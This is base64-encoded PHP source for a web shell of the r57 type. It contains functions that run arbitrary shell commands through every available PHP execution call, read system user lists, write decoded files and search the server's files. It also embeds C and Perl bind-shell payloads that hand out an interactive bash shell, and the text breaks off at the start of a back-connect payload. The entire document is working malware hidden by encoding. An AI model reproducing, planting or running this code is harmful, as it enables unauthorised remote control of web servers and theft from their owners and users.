UkUgPSBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpOw0KaWYoZW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyRTRVJWRVJfU09GVFdBUkUgPSAiLSI7fQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpDQp7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpDQp7DQpAZXhlYygkY2ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpDQp7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQp7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpDQp7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpDQp7DQokcmVzID0gIiI7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCndoaWxlKCFAZmVvZigkZikpIHskcmVzIC49IEBmcmVhZCgkZiwxMDI0KTt9DQp9ZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsNCndoaWxlKCFAZmVvZigkZikpIHskcmVzIC49IEBmZ2V0cygkZiwxMDI0KTt9DQp9DQpAcGNsb3NlKCRmKTsNCn0NCmVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcHJvY19vcGVuKCRjZmUsYXJyYXkoMSA9PmFycmF5KCJwaXBlIiwidyIpKSwkcGlwZXMpKSkNCnsNCiRyZXMgPSAiIjsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiZAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpew0Kd2hpbGUoIUBmZW9mKCRwaXBlc1sxXSkpIHskcmVzIC49IEBmcmVhZCgkcGlwZXNbMV0sMTAyNCk7fQ0KfWVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJkBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7DQp3aGlsZSghQGZlb2YoJHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZnZXRzKCRwaXBlc1sxXSwxMDI0KTt9DQp9DQpAcHJvY19jbG9zZSgkZik7DQp9DQplbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZXhlYycpJiZAZnVuY3Rpb25fZXhpc3RzKCdwY250bF9mb3JrJykpDQp7DQokcmVzID0gJ1t+XSBCbGluZCBDb21tYW5kIEV4ZWN1dGlvbiB2aWEgW3BjbnRsX2V4ZWNdXG5cbic7DQokcGlkID0gQHBjbnRsX2ZvcmsoKTsNCmlmICgkcGlkID09IC0xKSB7DQokcmVzIC49ICdbLV0gQ291bGQgbm90IGNoaWxkcmVuIGZvcmsuIEV4aXQnOw0KfWVsc2UgaWYgKCRwaWQpIHsNCmlmIChAcGNudGxfd2lmZXhpdGVkKCRzdGF0dXMpKXskcmVzIC49ICdbK10gRG9uZSEgQ29tbWFuZCAiJy4kY2ZlLiciIHN1Y2Nlc3NmdWxseSBleGVjdXRlZC4nO30NCmVsc2UgeyRyZXMgLj0gJ1stXSBFcnJvci4gQ29tbWFuZCBpbmNvcnJlY3QuJzt9DQp9ZWxzZSB7DQokY2ZlID0gYXJyYXkoIiAtZSAnc3lzdGVtKFwiJGNmZVwiKSciKTsNCmlmKEBwY250bF9leGVjKCcvdXNyL2Jpbi9wZXJsJywkY2ZlKSkgZXhpdCgwKTsNCmlmKEBwY250bF9leGVjKCcvdXNyL2xvY2FsL2Jpbi9wZXJsJywkY2ZlKSkgZXhpdCgwKTsNCmRpZSgpOw0KfQ0KfQ0KfQ0KcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiBnZXRfdXNlcnMoJGZpbGVuYW1lKQ0Kew0KJHVzZXJzID0gYXJyYXkoKTsNCiRyb3dzPUBleHBsb2RlKCJcbiIscmVhZHpsaWIoJGZpbGVuYW1lKSk7DQppZighJHJvd3MpIHJldHVybiAwOw0KZm9yZWFjaCAoJHJvd3MgYXMgJHN0cmluZykNCnsNCiR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOw0KaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclswXSk7DQp9DQpyZXR1cm4gJHVzZXJzOw0KfQ0KZnVuY3Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7DQplY2hvICRHTE9CQUxTWydsYW5nJ11bJEdMT0JBTFNbJ2xhbmd1YWdlJ10uJ19lcnInLiRuXTsNCmlmKCFlbXB0eSgkdHh0KSkge2VjaG8gIiAkdHh0Ijt9DQplY2hvICc8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPic7DQpyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRtb2RlKQ0Kew0KaWYgKCEkR0xPQkFMU1sndW5peCddKSByZXR1cm4gMDsNCmlmKCAkbW9kZSAmMHgxMDAwICkgeyR0eXBlPSdwJzt9DQplbHNlIGlmKCAkbW9kZSAmMHgyMDAwICkgeyR0eXBlPSdjJzt9DQplbHNlIGlmKCAkbW9kZSAmMHg0MDAwICkgeyR0eXBlPSdkJzt9DQplbHNlIGlmKCAkbW9kZSAmMHg2MDAwICkgeyR0eXBlPSdiJzt9DQplbHNlIGlmKCAkbW9kZSAmMHg4MDAwICkgeyR0eXBlPSctJzt9DQplbHNlIGlmKCAkbW9kZSAmMHhBMDAwICkgeyR0eXBlPSdsJzt9DQplbHNlIGlmKCAkbW9kZSAmMHhDMDAwICkgeyR0eXBlPSdzJzt9DQplbHNlICR0eXBlPSd1JzsNCiRvd25lclsicmVhZCJdID0gKCRtb2RlICYwMDQwMCkgPydyJzogJy0nOw0KJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYwMDIwMCkgPyd3JzogJy0nOw0KJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJjAwMTAwKSA/J3gnOiAnLSc7DQokZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmMDAwNDApID8ncic6ICctJzsNCiRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmMDAwMjApID8ndyc6ICctJzsNCiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYwMDAxMCkgPyd4JzogJy0nOw0KJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJjAwMDA0KSA/J3InOiAnLSc7DQokd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJjAwMDAyKSA/J3cnOiAnLSc7DQokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmMDAwMDEpID8neCc6ICctJzsNCmlmKCAkbW9kZSAmMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/J3MnOiAnUyc7DQppZiggJG1vZGUgJjB4NDAwICkgJGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPydzJzogJ1MnOw0KaWYoICRtb2RlICYweDIwMCApICR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8ndCc6ICdUJzsNCiRzPXNwcmludGYoIiUxcyIsJHR5cGUpOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsJG93bmVyWydyZWFkJ10sJG93bmVyWyd3cml0ZSddLCRvd25lclsnZXhlY3V0ZSddKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCRncm91cFsncmVhZCddLCRncm91cFsnd3JpdGUnXSwkZ3JvdXBbJ2V4ZWN1dGUnXSk7DQokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwkd29ybGRbJ3JlYWQnXSwkd29ybGRbJ3dyaXRlJ10sJHdvcmxkWydleGVjdXRlJ10pOw0KcmV0dXJuIHRyaW0oJHMpOw0KfQ0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApDQp7DQokcmV0ID0gIjxpbnB1dCB0eXBlPSIuJHR5cGUuIiBuYW1lPSIuJG5hbWUuIiAiOw0KaWYoJHNpemUgIT0gMCkgeyRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7fQ0KJHJldCAuPSAidmFsdWU9XCIiLiR2YWx1ZS4iXCIiOw0KaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsNCnJldHVybiAkcmV0LiI+IjsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikNCnsNCiRwYXRoID0gJyc7DQokcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gJHBhdGg7fWVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpDQp7DQokd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpIG9yIGVycigwKTsNCmlmKCR3X2ZpbGUpDQp7DQpAZndyaXRlKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKSBvciBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZm5hbWUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCkBmY2xvc2UoJHdfZmlsZSk7DQp9DQp9DQpmdW5jdGlvbiBzcigkbCwkdDEsJHQyKQ0Kew0KcmV0dXJuICI8dHIgY2xhc3M9dHIxPjx0ZCBjbGFzcz10ZDEgd2lkdGg9Ii4kbC4iJSBhbGlnbj1yaWdodD4iLiR0MS4iPC90ZD48dGQgY2xhc3M9dGQxIGFsaWduPWxlZnQ+Ii4kdDIuIjwvdGQ+PC90cj4iOw0KfQ0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkNCnsNCmlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4iIEdCIjt9DQplbHNlaWYoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiIgTUIiO30NCmVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuIiBLQiI7fQ0KZWxzZSB7JHNpemUgPSAkc2l6ZSAuIiBCIjt9DQpyZXR1cm4gJHNpemU7DQp9DQp9DQpmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpDQp7DQokZmlsZXMgPSBBcnJheSgpOw0KaWYoKCRoYW5kbGUgPSBAb3BlbmRpcigkZGlyKSkgfHwoQGZ1bmN0aW9uX2V4aXN0cygnc2NhbmRpcicpKSkNCnsNCndoaWxlICgoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkgJiYoZmFsc2UgIT09ICgkZmlsZSA9IEBzY2FuZGlyKCRkaXIpKSkpDQp7DQppZiAoJGZpbGUgIT0gIi4iJiYkZmlsZSAhPSAiLi4iKQ0Kew0KaWYoQGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpDQokZmlsZXMgPSBAYXJyYXlfbWVyZ2UoJGZpbGVzLERpckZpbGVzUigkZGlyLiIvIi4kZmlsZSwkdHlwZXMpKTsNCmVsc2UNCnsNCiRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOw0KJGV4dCA9IEBzdWJzdHIoJGZpbGUsJHBvcyxAc3RybGVuKCRmaWxlKS0kcG9zKTsNCmlmKCR0eXBlcykNCnsNCmlmKEBpbl9hcnJheSgkZXh0LGV4cGxvZGUoJzsnLCR0eXBlcykpKQ0KJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCn0NCmVsc2UNCiRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7DQp9DQp9DQp9DQpAY2xvc2VkaXIoJGhhbmRsZSk7DQp9DQpyZXR1cm4gJGZpbGVzOw0KfQ0KY2xhc3MgU2VhcmNoUmVzdWx0DQp7DQp2YXIgJHRleHQ7DQp2YXIgJEZpbGVzVG9TZWFyY2g7DQp2YXIgJFJlc3VsdEZpbGVzOw0KdmFyICRGaWxlc1RvdGFsOw0KdmFyICRNYXRjaGVzQ291bnQ7DQp2YXIgJEZpbGVNYXRzY2hlc0NvdW50Ow0KdmFyICRUaW1lU3RhcnQ7DQp2YXIgJFRpbWVUb3RhbDsNCnZhciAkdGl0bGVzOw0KZnVuY3Rpb24gU2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJykNCnsNCiRkaXJzID0gQGV4cGxvZGUoIjsiLCRkaXIpOw0KJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOw0KZm9yKCRhPTA7JGE8Y291bnQoJGRpcnMpOyRhKyspDQokdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsNCiR0aGlzLT50ZXh0ID0gJHRleHQ7DQokdGhpcy0+RmlsZXNUb3RhbCA9IEBjb3VudCgkdGhpcy0+RmlsZXNUb1NlYXJjaCk7DQokdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7DQokdGhpcy0+TWF0Y2hlc0NvdW50ID0gMDsNCiR0aGlzLT5SZXN1bHRGaWxlcyA9IEFycmF5KCk7DQokdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7DQokdGhpcy0+dGl0bGVzID0gQXJyYXkoKTsNCn0NCmZ1bmN0aW9uIEdldEZpbGVzVG90YWwoKSB7cmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsO30NCmZ1bmN0aW9uIEdldFRpdGxlcygpIHtyZXR1cm4gJHRoaXMtPnRpdGxlczt9DQpmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7cmV0dXJuICR0aGlzLT5UaW1lVG90YWw7fQ0KZnVuY3Rpb24gR2V0TWF0Y2hlc0NvdW50KCkge3JldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50O30NCmZ1bmN0aW9uIEdldEZpbGVNYXRjaGVzQ291bnQoKSB7cmV0dXJuICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50O30NCmZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkge3JldHVybiAkdGhpcy0+UmVzdWx0RmlsZXM7fQ0KZnVuY3Rpb24gU2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCkgew0KJHFxID0gQGV4cGxvZGUoJyAnLCR0aGlzLT50ZXh0KTsNCiRkZWxpbSA9ICd8JzsNCmlmKCRwaHJhc2UpDQpmb3JlYWNoKCRxcSBhcyAkaz0+JHYpDQokcXFbJGtdID0gJ1xiJy4kdi4nXGInOw0KJHdvcmRzID0gJygnLkBpbXBsb2RlKCRkZWxpbSwkcXEpLicpJzsNCiRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7DQppZighJGNhc2UpDQokcGF0dGVybiAuPSAnaSc7DQpmb3JlYWNoKCR0aGlzLT5GaWxlc1RvU2VhcmNoIGFzICRrPT4kZmlsZW5hbWUpDQp7DQokdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdID0gMDsNCiRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7DQpmb3IoJGE9MDskYTxAY291bnQoJEZpbGVTdHJpbmdzKTskYSsrKQ0Kew0KJGNvdW50ID0gMDsNCiRDdXJTdHJpbmcgPSAkRmlsZVN0cmluZ3NbJGFdOw0KJEN1clN0cmluZyA9IEBUcmltKCRDdXJTdHJpbmcpOw0KJEN1clN0cmluZyA9IEBzdHJpcF90YWdzKCRDdXJTdHJpbmcpOw0KJGFhID0gJyc7DQppZigoJGNvdW50ID0gQHByZWdfbWF0Y2hfYWxsKCRwYXR0ZXJuLCRDdXJTdHJpbmcsJGFhKSkpDQp7DQokQ3VyU3RyaW5nID0gQHByZWdfcmVwbGFjZSgkcGF0dGVybiwiPFNQQU4gc3R5bGU9J2NvbG9yOiAjOTkwMDAwOyc+PGI+XFwxPC9iPjwvU1BBTj4iLCRDdXJTdHJpbmcpOw0KJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOw0KJHRoaXMtPk1hdGNoZXNDb3VudCArPSAkY291bnQ7DQokdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdICs9ICRjb3VudDsNCn0NCn0NCn0NCiR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSR0aGlzLT5UaW1lU3RhcnQsNCk7DQp9DQp9DQpmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQ0Kew0KbGlzdCgkdXNlYywkc2VjKSA9IEBleHBsb2RlKCIgIixAbWljcm90aW1lKCkpOw0KcmV0dXJuICgoZmxvYXQpJHVzZWMgKyhmbG9hdCkkc2VjKTsNCn0NCiRwb3J0X2JpbmRfYmRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNSNWNHVnpMbWcrRFFvamFXNWpiSFZrWlMNCkE4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MEkNCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQNCmIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWZabUZ0YVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ5WlcxdmRHVXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aGhkRzkNCnBLR0Z5WjNaYk1WMHBLVHNOQ2lCeVpXMXZkR1V1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJtd29TVTVCUkVSU1gwRk9XU2s3SUEwS0lITnZZMnRtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTEYNCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sNCmlrbWNtVnRiM1JsTENBd2VERXdLVHNOQ2lCc2FYTjBaVzRvYzI5amEyWmtMQ0ExS1RzTkNpQjNhR2xzWlNneEtRMEtJQ0I3RFFvZ0lDQnVaWGRtWkQxaFkyTmxjSFFvYzI5amEyWmtMREFzTUNrN0RRb2cNCklDQmtkWEF5S0c1bGQyWmtMREFwT3cwS0lDQWdaSFZ3TWlodVpYZG1aQ3d4S1RzTkNpQWdJR1IxY0RJb2JtVjNabVFzTWlrN0RRb2dJQ0IzY21sMFpTaHVaWGRtWkN3aVVHRnpjM2R2Y21RNklpd3hNQ2sNCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTINCjl0WlNCMGJ5QnlOVGNnYzJobGJHd2dKaVlnTDJKcGJpOWlZWE5vSUMxcElpazdEUW9nSUNCbGJITmxEUW9nSUNCbWNISnBiblJtS0hOMFpHVnljaXdpVTI5eWNua2lLVHNOQ2lBZ0lHTnNiM05sS0c1bGQNCjJaa0tUc05DaUFnZlEwS0lIME5DbjBOQ21sdWRDQmphSEJoYzNNb1kyaGhjaUFxWW1GelpTd2dZMmhoY2lBcVpXNTBaWEpsWkNrZ2V3MEthVzUwSUdrN0RRcG1iM0lvYVQwd08yazhjM1J5YkdWdUtHVnUNCmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXANCmxiblJsY21Wa1cybGRJRDBnSjF3d0p6c05DbjBOQ21sbUlDZ2hjM1J5WTIxd0tHSmhjMlVzWlc1MFpYSmxaQ2twRFFweVpYUjFjbTRnTURzTkNuMD0iOw0KLyogPz9TVCBTQVRJUklOIEtJUklMTUk/PyBIQUw/sCAqLw0KLyoNCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVudGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQplbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0NCg0KKi8NCg0KJHBvcnRfYmluZF9iZF9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dlltRnphQ0F0YVNJN0RRcHBaaUFvUUVGU1IxWWdQQ0F4S1NCN0lHVjRhWFFvTVNrN0lIME5DaVJNUw0KVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcw0KSmxOUFEwdGZVMVJTUlVGTkxDUndjbTkwYjJOdmJDa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVg0KVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRXhKVTFSRlRsOVFUMUpVTEVsT1FVUkVVbDlCVGxrcEtTQjhmQ0JrYVdVZ0lrTmhiblFnYjNCbGJpQndiM0owWEc0aU93MEtiRw0KbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSw0KUTBLZXcwS1pHbGxJQ0pEWVc1dWIzUWdabTl5YXlJZ2FXWWdLQ0ZrWldacGJtVmtJQ1J3YVdRcE93MEtiM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ205d1pXNGdVMVJFVDFWVUxDSStKa05QVGs0aQ0KT3cwS2IzQmxiaUJUVkVSRlVsSXNJajRtUTA5T1RpSTdEUXBsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ21Oc2IzTg0KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOw0KDQovKiA/P1NUIFNBVElSSU4gS0lSSUxNST8/IEhBTD+wICovDQovKg0KDQojIS91c3IvYmluL3BlcmwNCiRTSEVMTD0iL2Jpbi9iYXNoIC1pIjsNCmlmIChAQVJHViA8IDEpIHsgZXhpdCgxKTsgfQ0KJExJU1RFTl9QT1JUPSRBUkdWWzBdOw0KdXNlIFNvY2tldDsNCiRwcm90b2NvbD1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoUywmUEZfSU5FVCwmU09DS19TVFJFQU0sJHByb3RvY29sKSB8fCBkaWUgIkNhbnQgY3JlYXRlIHNvY2tldFxuIjsNCnNldHNvY2tvcHQoUyxTT0xfU09DS0VULFNPX1JFVVNFQUREUiwxKTsNCmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BPUlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKQ0Kew0KYWNjZXB0KENPTk4sUyk7DQppZighKCRwaWQ9Zm9yaykpDQp7DQpkaWUgIkNhbm5vdCBmb3JrIiBpZiAoIWRlZmluZWQgJHBpZCk7DQpvcGVuIFNURElOLCI8JkNPTk4iOw0Kb3BlbiBTVERPVVQsIj4mQ09OTiI7DQpvcGVuIFNUREVSUiwiPiZDT05OIjsNCmV4ZWMgJFNIRUxMIHx8IGRpZSBwcmludCBDT05OICJDYW50IGV4ZWN1dGUgJFNIRUxMXG4iOw0KY2xvc2UgQ09OTjsNCmV4aXQgMDsNCn0NCn0NCg0KKi8NCg0KJGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYz